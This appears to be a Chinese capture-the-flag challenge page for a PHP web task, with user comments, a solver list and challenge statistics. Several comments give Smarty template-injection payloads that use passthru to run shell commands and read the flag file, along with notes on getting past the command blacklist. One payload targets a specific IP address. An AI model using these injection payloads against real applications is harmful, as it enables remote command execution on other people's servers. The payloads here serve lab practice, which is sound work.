聪明的phpWEB 未解决

分数: 25 金币: 2
题目作者: midi
一  血: Lazzaro
一血奖励: 3金币
解  决: 4255
提  示:
描  述:
聪明的php
评论
404 Lethe 1月前

最初尝试 scandir+var_dump 枚举目录、highlight_file 读取文件但回显失败,后续发现 passthru 未被黑名单过滤,利用它执行ls -a /找到下划线随机命名的_15441,因 cat 被拦截改用 head 读取该文件获取 flag,成功返回flag结果

回复 0

灵梦归希 2月前

这道题可以加大难度的。把_14781改为flag.txt就可以了.只是套一层娃而已

回复 0

icyskin 3月前

http://160.202.254.160:17350/?key={{passthru(%27tail%20-100%20/_14781%27)}}

回复 0

fuhaiyan 10月前

?a={{passthru('more ../../../*|grep fla')}}

回复 4

对对对对对对对对 11月前

?key={{passthru(%27tac%20/_4427%27)}}

回复 0

anony 1年前

flag{********}

回复 0

人闲桂花落 1年前

tac命令读取也可

回复 0

docker0w 2年前

1. 随意构造URL参数获取源代码信息 ?test=test 2. 根据源代码得知使用Smarty 并搜索得知存在模板注入漏洞 3. 根据已过滤函数,使用passthru函数即可回显 4. 使用passthru执行命令 ls -a / 得到根据下存在start.sh 脚本信息 5. 根据脚本信息得知flag为随机生成在根路径下 且使用_下划线文件明名 6. 使用show_source获

回复 4

bx33661 2年前

?key={passthru("tac%20/_28710")}

回复 0

yun20231227 2年前

?key={{passthru('ls /')}}

回复 1

WriteUp

image
midi

3 金币

评分(14)

解题动态

36521hjbhj 攻破了该题 1天前
chenlinXdb 攻破了该题 1天前
muumuu 攻破了该题 2天前
哆咪嘞 攻破了该题 4天前
zenghualin 攻破了该题 4天前
一只十五 攻破了该题 4天前
1234wsryv 攻破了该题 4天前
南风 攻破了该题 5天前
19999449697 攻破了该题 7天前
kingx3 攻破了该题 7天前
Ann 攻破了该题 7天前
恐怖拉矢人 攻破了该题 8天前
zjb520 攻破了该题 8天前
xiaoxiang07 攻破了该题 9天前
zmjjkk..... 攻破了该题 9天前
Srouven 攻破了该题 10天前
奥特娘 攻破了该题 10天前
范范范 攻破了该题 10天前
安澜 攻破了该题 11天前
mandan 攻破了该题 11天前
问题反馈